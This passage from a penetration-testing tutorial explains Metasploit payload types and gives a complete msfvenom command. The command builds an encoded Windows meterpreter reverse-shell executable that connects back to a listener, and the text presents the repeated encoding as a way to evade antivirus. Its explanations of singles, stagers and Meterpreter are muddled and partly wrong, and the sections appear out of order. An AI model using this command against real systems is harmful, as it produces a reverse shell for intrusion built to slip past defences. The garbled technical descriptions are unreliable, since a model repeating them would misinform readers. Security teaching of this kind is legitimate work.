Generating Payloads with Multiple Passes
We can also encode the payload multiple times using -i and the number of times we want to encode it. The more iterations you encode a payload, the easier it is to avoid antivirus software.
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -i 10 -e x86/shikata_ga_nai -f exe -o payload.exe
Working with Payload Metasploit in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as they are announced. It includes a number of tools for constructing security workspaces for vulnerability and penetration testing systems.
There are several types of payloads in Metasploit. These three fundamental categories are the ones you’ll end up using the most.
- Singles: Singles are small and are used to start a dialogue before going on to the next step.
- Stagers: The payload uses the stager to create a network connection between the target machine and the payload processor on the Metasploit server. The stager enables you to load and insert a bigger, more complex payload known as the stage by utilizing a smaller payload.
- Meterpreter: Meterpreter has evolved into a Metasploit attack payload that provides an intruder factor that influences how the target system browses and executes programs. Meterpreter is a memory-only program that does not write to the hard drive. Meterpreter attempted to inject itself into the attacked process, from where it might migrate to other functioning methods; as a result, no new processes were established. Meterpreter was designed to avoid the drawbacks of employing specific payloads while allowing command writing and ensuring encrypted connection. The disadvantage of using particular payloads is that if a newer process begins throughout the target system, alarms may be generated.